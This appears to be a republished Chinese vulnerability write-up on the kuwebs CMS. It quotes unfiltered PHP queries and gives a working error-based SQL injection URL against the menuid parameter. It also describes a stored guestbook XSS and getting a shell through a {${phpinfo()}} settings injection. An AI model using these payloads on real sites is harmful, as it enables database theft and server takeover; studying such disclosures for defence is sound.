网站地图    收藏   

主页 > 后端 > 网站安全 >

kuwebs cms SQL注入配合xss到getshell - 网站安全 - 自学

来源:自学PHP网    时间:2015-04-17 12:00 作者: 阅读:

[导读] 无聊,测试一个站点,发现是kuwebs源码,谷歌下,发现有人发布了漏洞,但是貌似补了,然后在官网下载了一份,在下载的时候居然提示有木马,我了个插,看来有人把kuwebs官网日了,...

 无聊,测试一个站点,发现是kuwebs源码,谷歌下,发现有人发布了漏洞,但是貌似补了,然后在官网下载了一份,在下载的时候居然提示有木马,我了个插,看来有人把kuwebs官网日了,留后门了。。。
      简单看了下,发现了一个注入点,看代码:
 
 
<?php
require_once '../inc/common.inc.php';
 
$strSql = "select * from {$configTableHead}job where id='{$jobid}' and lang='{$kuWebsiteCurrLanguage}';";
 
// $jobid 变量没有经过任何过滤,直接进行数据库查询了,但是这里有引号,如果开启了magic就不能注入了,可以考虑下mysql的GBK宽字节注入,哟西
 
$kuArrJobInfo = $dbInstance->getOne($strSql);
//$kuResumePost = $row['jobpost'];
 
$kuPositionId = $kuArrJobInfo['type3'] ? $kuArrJobInfo['type3'] : ($kuArrJobInfo['type2'] ? $kuArrJobInfo['type2'] : $kuArrJobInfo['type1']);
.......................
 
$arrMenuInfo = getMenuIdInfo($menuid);   //这里就是注入点了。。。
$topMenuId = '';
if(count($kuMenuList[$kuProductShow['type3']]))$topMenuId = $arrMenuInfo['type3'];
else if(count($kuMenuList[$kuProductShow['type2']]))$topMenuId = $arrMenuInfo['type2'];
else if(count($kuMenuList[$kuProductShow['type1']]))$topMenuId = $arrMenuInfo['type1'];
 
......................函数的说明
 
function getMenuIdInfo($id)
{
    if('' == $id || 0 > $id)return;
    global $configTableHead, $kuWebsiteCurrLanguage, $dbInstance;
    $strSql = "select id, fatherid from {$configTableHead}menu where id={$id};";
    $row1 = $dbInstance->getOne($strSql);
    if(!is_array($row1))return;
    if(0 == intval($row1['fatherid']))
    {
        $arrInfo['level'] = 1;
        $arrInfo['type1'] = $id;
        $arrInfo['type2'] = '';
        $arrInfo['type3'] = '';
        return $arrInfo;
    }
 
 
exp:
http://www.2cto.com /kuwebs/job/resume.php?jobid=16&lang=cn&menuid=6 and (select 1 from(select count(*),concat((select (select version()) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from `information_schema`.tables group by x)a)>0
 
图:
 
      话说到这里应该结束了,但是kuwebs比较恶心,你不改默认的管理后台路径,它会使劲的弹框提示你修改路径,所以,往往有密码了,没洞插,射不了。现在流行XSS盲打,那我也就流行下,找一下xss,发现网站留言那里存在存储型的xss,然后看了下代码,确实没有经过过滤
 
      最后是拿shell了,拿shell很简单,可以直接修改上传后缀配置,也可以在  网站基本设置->基本信息->{${phpinfo()}}  直接拿shell



 
 

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论